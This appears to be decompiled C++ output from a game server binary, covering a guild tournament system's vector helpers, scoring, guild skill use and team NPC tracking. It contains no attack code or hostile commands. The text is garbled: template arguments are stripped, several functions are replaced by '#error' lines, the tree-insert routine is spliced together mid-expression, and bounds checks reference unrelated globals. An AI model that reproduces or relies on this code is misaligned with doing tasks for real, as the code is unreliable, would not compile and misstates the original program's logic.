v4->_Myfirst; v6 = 0; v32 = 0; if ( v5 ) v7 = v4->_Myend - v5; else v7 = 0; v8 = _Count; if ( _Count ) { if ( v5 ) v6 = v4->_Mylast - v5; if ( (unsigned int)&wholesaver.ws_savestore[740].esc_skill.buffer[-v6 + 1667] < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v7 >= _Count + v9 ) { v19 = v4->_Mylast; v20 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 6; _Newvec = v4->_Mylast; if ( v20 >= _Count ) { v24 = &v19[-_Count]; v4->_Mylast = std::_Uninit_copy>( &v19[-_Count], v19, v19, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Copy_backward_opt( *(GuildTournamentSystem::Gate **)&_Where, v24, _Newvec, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::fill( *(GuildTournamentSystem::Gate **)&_Where, (GuildTournamentSystem::Gate *)(*(_DWORD *)&_Where + (_Count << 6)), &_Tmp); } else { std::_Uninit_copy>( *(GuildTournamentSystem::Gate **)&_Where, v19, (GuildTournamentSystem::Gate *)(*(_DWORD *)&_Where + (_Count << 6)), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v21 = _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 6); v22 = v4->_Mylast; LOBYTE(v32) = 3; std::vector>::_Ufill( v4, v22, v21, &_Tmp); v23 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (GuildTournamentSystem::Gate *)v23; v32 = 0; std::fill( *(GuildTournamentSystem::Gate **)&_Where, (GuildTournamentSystem::Gate *)(v23 - (_Count << 6)), &_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[740].esc_skill.buffer[-((unsigned int)v7 >> 1) + 1667] >= v7 ) v10 = ((unsigned int)v7 >> 1) + v7; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) { if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; v10 = _Count + v12; } _Counta = v10 << 6; v13 = operator new(v10 << 6); v14 = v4->_Myfirst; _Newvec = (GuildTournamentSystem::Gate *)v13; _Ptr = (GuildTournamentSystem::Gate *)v13; LOBYTE(v32) = 1; _Ptr = std::_Uninit_copy>( v14, *(GuildTournamentSystem::Gate **)&_Where, (GuildTournamentSystem::Gate *)v13, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v8, &_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v15 = v4->_Mylast; _Ptr += v8; std::_Uninit_copy>( *(GuildTournamentSystem::Gate **)&_Where, v15, _Ptr, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = v4->_Myfirst; if ( v16 ) v17 = v4->_Mylast - v16; else v17 = 0; v18 = v17 + v8; if ( v16 ) { std::vector>::_Destroy( v4, v16, v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (GuildTournamentSystem::Gate *)((char *)v13 + _Counta); v4->_Mylast = (GuildTournamentSystem::Gate *)((char *)v13 + 64 * v18); v4->_Myfirst = (GuildTournamentSystem::Gate *)v13; } } if ( _Tmp.strUseGateName._Myres >= 0x10 ) operator delete(*(void **)&_Tmp.strUseGateName._Bx._Buf[0]); _Tmp.strUseGateName._Myres = 15; _Tmp.strUseGateName._Mysize = 0; _Tmp.strUseGateName._Bx._Buf[0] = 0; if ( _Tmp.strunUseGateName._Myres >= 0x10 ) operator delete(*(void **)&_Tmp.strunUseGateName._Bx._Buf[0]); __security_check_cookie(cookie); } //----- (0045CF50) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val) { std::vector > *v4; // esi@1 unsigned int v5; // edx@1 unsigned int v6; // eax@1 GuildTournamentSystem::AdvanMobItemRegenInfo *v7; // ebx@1 unsigned int v8; // ecx@2 signed int v9; // edx@3 unsigned int v10; // edi@4 int v11; // eax@6 int v12; // eax@11 int v13; // ecx@15 int v14; // eax@18 void *v15; // eax@22 void *v16; // ebx@22 GuildTournamentSystem::AdvanMobItemRegenInfo *v17; // ST18_4@22 GuildTournamentSystem::AdvanMobItemRegenInfo *v18; // ST20_4@22 int v19; // eax@22 int v20; // edi@24 GuildTournamentSystem::AdvanMobItemRegenInfo *v21; // eax@24 GuildTournamentSystem::AdvanMobItemRegenInfo *v22; // ecx@27 std::vector >::iterator v23; // ebx@27 GuildTournamentSystem::AdvanMobItemRegenInfo *v24; // ecx@28 GuildTournamentSystem::AdvanMobItemRegenInfo *v25; // ST24_4@28 unsigned int v26; // edi@28 int v27; // [sp-Ch] [bp-58h]@1 void *_Newvec; // [sp+0h] [bp-4Ch]@22 std::vector > *thisa; // [sp+4h] [bp-48h]@1 GuildTournamentSystem::AdvanMobItemRegenInfo *_Ptr; // [sp+8h] [bp-44h]@22 GuildTournamentSystem::AdvanMobItemRegenInfo _Tmp; // [sp+Ch] [bp-40h]@1 unsigned int cookie; // [sp+38h] [bp-14h]@32 int *v33; // [sp+3Ch] [bp-10h]@1 int v34; // [sp+48h] [bp-4h]@1 GuildTournamentSystem::AdvanMobItemRegenInfo *_Wherea; // [sp+54h] [bp+8h]@29 int _Counta; // [sp+58h] [bp+Ch]@22 GuildTournamentSystem::AdvanMobItemRegenInfo *_Vala; // [sp+5Ch] [bp+10h]@27 v4 = this; v33 = &v27; v5 = *(_DWORD *)&_Val->mapName.n3_name[4]; v6 = *(_DWORD *)&_Val->mapName.n3_name[8]; *(_DWORD *)&_Tmp.mapName.n3_name[0] = *(_DWORD *)&_Val->mapName.n3_name[0]; thisa = this; *(_QWORD *)&_Tmp.mapName.n3_name[4] = __PAIR__(v6, v5); _Tmp.strGroupName._Myres = 15; _Tmp.strGroupName._Mysize = 0; _Tmp.strGroupName._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &_Tmp.strGroupName, &_Val->strGroupName, 0, 0xFFFFFFFFu); _Tmp.AdvanIndex = _Val->AdvanIndex; v7 = v4->_Myfirst; v34 = 0; if ( v7 ) { v9 = (signed int)((unsigned __int64)(780903145i64 * (unsigned int)((char *)v4->_Myend - (char *)v7)) >> 32) >> 3; v8 = v9 + ((unsigned int)v9 >> 31); } else { v8 = 0; } v10 = _Count; if ( _Count ) { if ( v7 ) v11 = v4->_Mylast - v7; else v11 = 0; if ( (unsigned int)&wholesaver.ws_savestore[1125].gapf2b8[-v11 + 7325] < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v7 ) v12 = v4->_Mylast - v7; else v12 = 0; if ( v8 >= _Count + v12 ) { v22 = v4->_Mylast; v23 = _Where; _Vala = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 44 >= _Count ) { _Wherea = &v22[-_Count]; v4->_Mylast = std::_Uninit_copy>( &v22[-_Count], v22, v22, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v22 - 44 * _Count)); std::_Copy_backward_opt( *(GuildTournamentSystem::AdvanMobItemRegenInfo **)&v23, _Wherea, _Vala, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(GuildTournamentSystem::AdvanMobItemRegenInfo **)&v23, (GuildTournamentSystem::AdvanMobItemRegenInfo *)(*(_DWORD *)&v23 + 44 * _Count), &_Tmp); } else { std::_Uninit_copy>( *(GuildTournamentSystem::AdvanMobItemRegenInfo **)&_Where, v22, (GuildTournamentSystem::AdvanMobItemRegenInfo *)(*(_DWORD *)&_Where + 44 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v24 = v4->_Mylast; v25 = v4->_Mylast; LOBYTE(v34) = 3; std::vector>::_Ufill( v4, v25, _Count - (signed int)((char *)v24 - *(_DWORD *)&_Where) / 44, &_Tmp); v26 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (GuildTournamentSystem::AdvanMobItemRegenInfo *)v26; v34 = 0; std::fill( *(GuildTournamentSystem::AdvanMobItemRegenInfo **)&_Where, (GuildTournamentSystem::AdvanMobItemRegenInfo *)(v26 - 44 * _Count), &_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[1125].gapf2b8[-(v8 >> 1) + 7325] >= v8 ) v13 = (v8 >> 1) + v8; else v13 = 0; if ( v7 ) v14 = v4->_Mylast - v7; else v14 = 0; if ( v13 < _Count + v14 ) v13 = _Count + std::vector>::size(v4); _Counta = 44 * v13; v15 = operator new(44 * v13); v16 = v15; v17 = v4->_Myfirst; _Newvec = v15; _Ptr = (GuildTournamentSystem::AdvanMobItemRegenInfo *)v15; LOBYTE(v34) = 1; _Ptr = std::_Uninit_copy>( v17, *(GuildTournamentSystem::AdvanMobItemRegenInfo **)&_Where, (GuildTournamentSystem::AdvanMobItemRegenInfo *)v15, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v10, &_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v18 = v4->_Mylast; _Ptr += v10; std::_Uninit_copy>( *(GuildTournamentSystem::AdvanMobItemRegenInfo **)&_Where, v18, _Ptr, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v19 = (int)v4->_Myfirst; if ( v19 ) v19 = (signed int)((char *)v4->_Mylast - v19) / 44; v20 = v19 + v10; v21 = v4->_Myfirst; if ( v21 ) { std::vector>::_Destroy( v4, v21, v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (GuildTournamentSystem::AdvanMobItemRegenInfo *)((char *)v16 + _Counta); v4->_Mylast = (GuildTournamentSystem::AdvanMobItemRegenInfo *)((char *)v16 + 44 * v20); v4->_Myfirst = (GuildTournamentSystem::AdvanMobItemRegenInfo *)v16; } } if ( _Tmp.strGroupName._Myres >= 0x10 ) operator delete(*(void **)&_Tmp.strGroupName._Bx._Buf[0]); __security_check_cookie(cookie); } //----- (0045D280) -------------------------------------------------------- void __thiscall std::vector>::_Destroy(std::vector > *this, GuildTournamentSystem::FlagInfo *_First, GuildTournamentSystem::FlagInfo *_Last) { GuildTournamentSystem::FlagInfo *i; // esi@1 for ( i = _First; i != _Last; ++i ) GuildTournamentSystem::FlagInfo::_FlagInfo(i); } //----- (0045D2B0) -------------------------------------------------------- void __thiscall std::map_std::allocator>>::_map_std::allocator>>(std::map,std::allocator > > *this) { std::map,std::allocator > > *v1; // esi@1 std::_Tree,std::allocator >,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator >,0> >::iterator)this; v1 = this; std::_Tree_std::allocator>_0>>::erase( &this->baseclass_0, &result, (std::_Tree,std::allocator >,0> >::iterator)this->baseclass_0._Myhead->_Left, (std::_Tree,std::allocator >,0> >::iterator)this->baseclass_0._Myhead); operator delete(v1->baseclass_0._Myhead); v1->baseclass_0._Myhead = 0; v1->baseclass_0._Mysize = 0; } //----- (0045D2E0) -------------------------------------------------------- void __cdecl GuildTournamentSystem::SetGuildMemberGrade(unsigned int regCharNumber, int nGrade) { int *v2; // eax@1 v2 = std::map_std::allocator>>::operator__( &GuildTournamentSystem::sm_mapGuildMemberGrades, ®CharNumber); *v2 = nGrade; } //----- (0045D300) -------------------------------------------------------- #error "45D300: undefined or illegal type '#325' (funcsize=100)" //----- (0045D450) -------------------------------------------------------- #error "45D450: undefined or illegal type '#325' (funcsize=181)" //----- (0045D680) -------------------------------------------------------- void __thiscall GuildTournamentSystem::GuildGroup::AddScore(GuildTournamentSystem::GuildGroup *this, int nScore) { GuildTournamentSystem::GuildGroup *v2; // esi@1 unsigned int v3; // edx@1 int v4; // eax@1 signed int v5; // ecx@1 v2 = this; v3 = nScore + this->m_unAllGuildScore; this->m_unGuildScore += nScore; this->m_unAllGuildScore = v3; v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52); v5 = 2000; if ( v4 && *(_DWORD *)(v4 + 40) ) v5 = *(_WORD *)CDataReader::GetRecord((CDataReader *)(ITableBase::ms_pkTable + 4), 0); if ( v2->m_unAllGuildScore >= v5 ) GuildTournamentSystem::GuildGroup::SendWinEventToScript(v2); } // C8F2518: using guessed type int ITableBase_GTIGetRateGap_GTIGetRateGapTable___ms_pkTable; // C8F2520: using guessed type int ITableBase_GTWinScore_GTWinScoreTable___ms_pkTable; //----- (0045D6E0) -------------------------------------------------------- #error "45D6E0: undefined or illegal type '#325' (funcsize=55)" //----- (0045D780) -------------------------------------------------------- bool __thiscall GuildTournamentSystem::GuildGroup::UseGuildSkill(GuildTournamentSystem::GuildGroup *this, int nNumber, GuildTournamentSystem::GuildGroup *pEnemyGroup) { GuildTournamentSystem::GuildGroup *v3; // esi@1 GUILD_TOURNAMENT_SKILL *v4; // ebx@1 DebugLogging *v5; // edi@2 _iobuf *v6; // eax@4 DebugLogging *v7; // edi@6 _iobuf *v8; // edi@8 TickTimer *v10; // edi@14 int v11; // ecx@22 unsigned int v12; // eax@22 GuildTournamentSystem::GuildGroup *v13; // ecx@28 TickTimer *v14; // eax@31 int v15; // [sp+0h] [bp-14h]@0 v3 = this; v4 = GuildTournamentSkillTable::GetStateByIndex(this->m_nTournamentType, v15); if ( !v4 ) { v5 = DebugLogging::operator<<( &GuildTournamentLog, "GuildTourmentSystem::UseGuildSkill Not Find GuildTournamentState Type :"); if ( DebugLogging::dl_ActivAll ) { if ( v5->dl_Activ ) { DebugLogging::dl_FilePoint(v5); v6 = v5->dl_FilePointer; if ( v6 ) fprintf(v6, "%d"); } } v7 = DebugLogging::operator<<(v5, " ID:"); if ( DebugLogging::dl_ActivAll ) { if ( v7->dl_Activ ) { DebugLogging::dl_FilePoint(v7); v8 = v7->dl_FilePointer; if ( v8 ) fprintf(v8, "%d"); } } if ( v3->m_ErrorMessage.m_Closure.baseclass_0.m_pthis || v3->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction ) ((void (__thiscall *)(fastdelegate::detail::GenericClass *, signed int))v3->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction)( v3->m_ErrorMessage.m_Closure.baseclass_0.m_pthis, 6989); return 0; } v10 = v3->m_vecGuildBuffUseTime._Myfirst; if ( !v10 || v3->m_vecGuildBuffUseTime._Mylast - v10 <= nNumber ) std::vector>::_Xran((std::vector > *)&v3->m_vecGuildBuffUseTime); if ( TickTimer::IsEnable(&v10[nNumber]) ) { if ( v3->m_ErrorMessage.m_Closure.baseclass_0.m_pthis || v3->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction ) ((void (__thiscall *)(fastdelegate::detail::GenericClass *, signed int))v3->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction)( v3->m_ErrorMessage.m_Closure.baseclass_0.m_pthis, 6992); return 0; } v11 = v4->DeathPoint; v12 = v3->m_unKillerPoint; if ( v12 >= v11 ) { GuildTournamentSystem::GuildGroup::SetSkillPoint(v3, v12 - v11); if ( v4->TargetType == 10 ) { v13 = v3; } else { v13 = pEnemyGroup; if ( !pEnemyGroup ) { LABEL_31: v14 = std::vector>::at(&v3->m_vecGuildBuffUseTime, nNumber); TickTimer::Enable(v14, 1); return 1; } } GuildTournamentSystem::GuildGroup::EverythingGiveBuff(v13, v4->StaName, 0); goto LABEL_31; } if ( v3->m_ErrorMessage.m_Closure.baseclass_0.m_pthis || v3->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction ) ((void (__thiscall *)(_DWORD, signed int))v3->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction)( v3->m_ErrorMessage.m_Closure.baseclass_0.m_pthis, 6987); return 0; } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (0045D920) -------------------------------------------------------- void __thiscall GuildTournamentSystem::GuildGroup::SetTournamentType(GuildTournamentSystem::GuildGroup *this, int nType) { int v2; // ebx@1 GuildTournamentSystem::GuildGroup *v3; // esi@1 std::vector > *v4; // edi@1 int v5; // ebp@1 GUILD_TOURNAMENT_SKILL *v6; // eax@4 TickTimer *v7; // eax@5 DebugLogging *v8; // eax@6 DebugLogging *v9; // esi@6 _iobuf *v10; // esi@8 TickTimer thisa; // [sp+10h] [bp-Ch]@5 unsigned int nTypea; // [sp+20h] [bp+4h]@1 v2 = nType; v3 = this; this->m_nTournamentType = nType; v4 = &this->m_vecGuildBuffUseTime; nTypea = GuildTournamentSkillTable::GetUseSkillCount(nType, 0xFFFFFFFFu); v5 = 0; if ( v3->m_vecGuildBuffUseTime._Myfirst ) operator delete(v3->m_vecGuildBuffUseTime._Myfirst); v3->m_vecGuildBuffUseTime._Myfirst = 0; v3->m_vecGuildBuffUseTime._Mylast = 0; v3->m_vecGuildBuffUseTime._Myend = 0; if ( nTypea ) { do { v6 = GuildTournamentSkillTable::GetStateByIndex(v2, v5); if ( v6 ) { TickTimer::TickTimer(&thisa, (signed int)(10 * v6->DlyTime) / 1000); std::vector>::push_back(v4, v7); } else { v8 = DebugLogging::operator<<(&GuildTournamentLog, "GuildTournamentSystem::GuildGroup::SetTournamentType"); v9 = DebugLogging::operator<<(v8, "Guild Skill Not Find Sequence Number :"); if ( DebugLogging::dl_ActivAll && v9->dl_Activ ) { DebugLogging::dl_FilePoint(v9); v10 = v9->dl_FilePointer; if ( v10 ) fprintf(v10, "%d"); } } ++v5; } while ( v5 < nTypea ); } } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (0045DA10) -------------------------------------------------------- #error "45DA10: undefined or illegal type '#325' (funcsize=226)" //----- (0045DCC0) -------------------------------------------------------- void __thiscall GuildTournamentSystem::GuildGroup::AddTeamNPC(GuildTournamentSystem::GuildGroup *this, unsigned __int16 Hnd) { unsigned __int16 *v2; // edx@1 unsigned __int16 *v3; // eax@1 v2 = this->m_MyTeamNPCs._Mylast; v3 = this->m_MyTeamNPCs._Myfirst; if ( v3 == v2 ) goto LABEL_8; do { if ( *v3 == Hnd ) break; ++v3; } while ( v3 != v2 ); if ( v3 == v2 ) LABEL_8: std::vector>::push_back(&this->m_MyTeamNPCs, &Hnd); } //----- (0045DD10) -------------------------------------------------------- int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::insert(...) { std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *v7; // edi@3 std::pair,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *v8; // ebp@10 std::pair,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *v9; // ebp@15 std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert( this, result, 1, *((std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>>::operator__( (std::less,std::allocator > > *)this, &_Val->first, (std::basic_string,std::allocator > *)(_Where + 12)) ) { std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert( v4, result, 1, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>>::operator__( (std::less,std::allocator > > *)this, (std::basic_string,std::allocator > *)(*(_DWORD *)(v6 + 8) + 12), &_Val->first) ) { std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert( v4, result, 0, *(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>>::operator__( (std::less,std::allocator > > *)this, &_Val->first, (std::basic_string,std::allocator > *)(_Where + 12)) && (_Val = (std::pair,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *)_Where, std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::const_iterator::_Dec((std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>>::operator__( (std::less,std::allocator > > *)v4, (std::basic_string,std::allocator > *)((char *)&_Val->first + 12), &v7->first)) ) { if ( *(_BYTE *)(*(_DWORD *)&v8->first._Bx._Buf[4] + 69) ) { std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert( v4, result, 0, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert( v4, result, 1, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>>::operator__( (std::less,std::allocator > > *)v4, (std::basic_string,std::allocator > *)(_Where + 12), &v7->first) || (_Val = (std::pair,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *)_Where, std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::const_iterator::_Inc((std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> **)v4 + 1)) && !std::less_std::allocator>>::operator__( (std::less,std::allocator > > *)v4, &v7->first, (std::basic_string,std::allocator > *)((char *)&_Val->first + 12)) ) { LABEL_20: v10 = std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::insert( v4, (std::pair,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocatorfirst; v5 = result; *result = v10; return v5; } if ( *(_BYTE *)(*(_DWORD *)(_Where + 8) + 69) ) { std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert( v4, result, 0, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert( v4, result, 1, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator>::_Tidy(std::vector > *this) { std::vector > *v1; // ebx@1 GuildTournamentSystem::Gate *v2; // esi@1 GuildTournamentSystem::Gate *i; // edi@2 v1 = this; v2 = this->_Myfirst; if ( v2 ) { for ( i = this->_Mylast; v2 != i; ++v2 ) GuildTournamentSystem::Gate::_Gate(v2); operator delete(v1->_Myfirst); } v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (0045DF10) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val) { std::vector > *v4; // edi@1 GuildTournamentSystem::AdvanMobItemRegenInfo *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(780903145i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (0045DF80) -------------------------------------------------------- void __thiscall std::vector>::_Tidy(std::vector > *this) { std::vector > *v1; // ebx@1 GuildTournamentSystem::FlagInfo *v2; // esi@1 GuildTournamentSystem::FlagInfo *i; // edi@2 v1 = this; v2 = this->_Myfirst; if ( v2 ) { for ( i = this->_Mylast; v2 != i; ++v2 ) GuildTournamentSystem::FlagInfo::_FlagInfo(v2); operator delete(v1->_Myfirst); } v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (0045DFD0) -------------------------------------------------------- GuildTournamentSystem::FlagInfo *__thiscall std::vector>::_Ufill(std::vector > *this, GuildTournamentSystem::FlagInfo *_Ptr, unsigned int _Count, GuildTournamentSystem::FlagInfo *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (0045E000) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GuildTournamentSystem::FlagInfo *_Val) { std::vector > *v4; // esi@1 GuildTournamentSystem::FlagInfo *v5; // ebx@1 unsigned int v6; // ecx@1 signed int v7; // edx@2 unsigned int v8; // edi@3 int v9; // eax@5 int v10; // eax@10 int v11; // ecx@14 int v12; // eax@17 void *v13; // eax@21 void *v14; // ebx@21 GuildTournamentSystem::FlagInfo *v15; // ST18_4@21 GuildTournamentSystem::FlagInfo *v16; // ST20_4@21 int v17; // eax@21 int v18; // edi@23 GuildTournamentSystem::FlagInfo *v19; // eax@23 GuildTournamentSystem::FlagInfo *v20; // ecx@26 std::vector >::iterator v21; // ebx@26 GuildTournamentSystem::FlagInfo *v22; // ecx@27 GuildTournamentSystem::FlagInfo *v23; // ST24_4@27 unsigned int v24; // edi@27 int v25; // [sp-Ch] [bp-ECh]@1 void *_Newvec; // [sp+0h] [bp-E0h]@21 std::vector > *thisa; // [sp+4h] [bp-DCh]@1 GuildTournamentSystem::FlagInfo *_Ptr; // [sp+8h] [bp-D8h]@21 GuildTournamentSystem::FlagInfo _Tmp; // [sp+Ch] [bp-D4h]@1 unsigned int cookie; // [sp+CCh] [bp-14h]@29 int *v31; // [sp+D0h] [bp-10h]@1 int v32; // [sp+DCh] [bp-4h]@1 GuildTournamentSystem::FlagInfo *_Wherea; // [sp+E8h] [bp+8h]@28 int _Counta; // [sp+ECh] [bp+Ch]@21 GuildTournamentSystem::FlagInfo *_Vala; // [sp+F0h] [bp+10h]@26 v4 = this; v31 = &v25; thisa = this; GuildTournamentSystem::FlagInfo::FlagInfo(&_Tmp, _Val); v5 = v4->_Myfirst; v6 = 0; v32 = 0; if ( v5 ) { v7 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)v4->_Myend - (char *)v5)) >> 32) >> 5; v6 = v7 + ((unsigned int)v7 >> 31); } v8 = _Count; if ( _Count ) { if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( (unsigned int)&wholesaver.ws_savestore[175].esc_abstate.buffer[-v9 + 5277] < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v5 ) v10 = v4->_Mylast - v5; else v10 = 0; if ( v6 >= _Count + v10 ) { v20 = v4->_Mylast; v21 = _Where; _Vala = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 192 >= _Count ) { _Wherea = &v20[-_Count]; v4->_Mylast = std::_Uninit_copy>( &v20[-_Count], v20, v20, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v20 - -64 * _Count)); std::_Copy_backward_opt( *(GuildTournamentSystem::FlagInfo **)&v21, _Wherea, _Vala, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(GuildTournamentSystem::FlagInfo **)&v21, (GuildTournamentSystem::FlagInfo *)(*(_DWORD *)&v21 + 192 * _Count), &_Tmp); } else { std::_Uninit_copy>( *(GuildTournamentSystem::FlagInfo **)&_Where, v20, (GuildTournamentSystem::FlagInfo *)(*(_DWORD *)&_Where + 192 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v22 = v4->_Mylast; v23 = v4->_Mylast; LOBYTE(v32) = 3; std::vector>::_Ufill( v4, v23, _Count - (signed int)((char *)v22 - 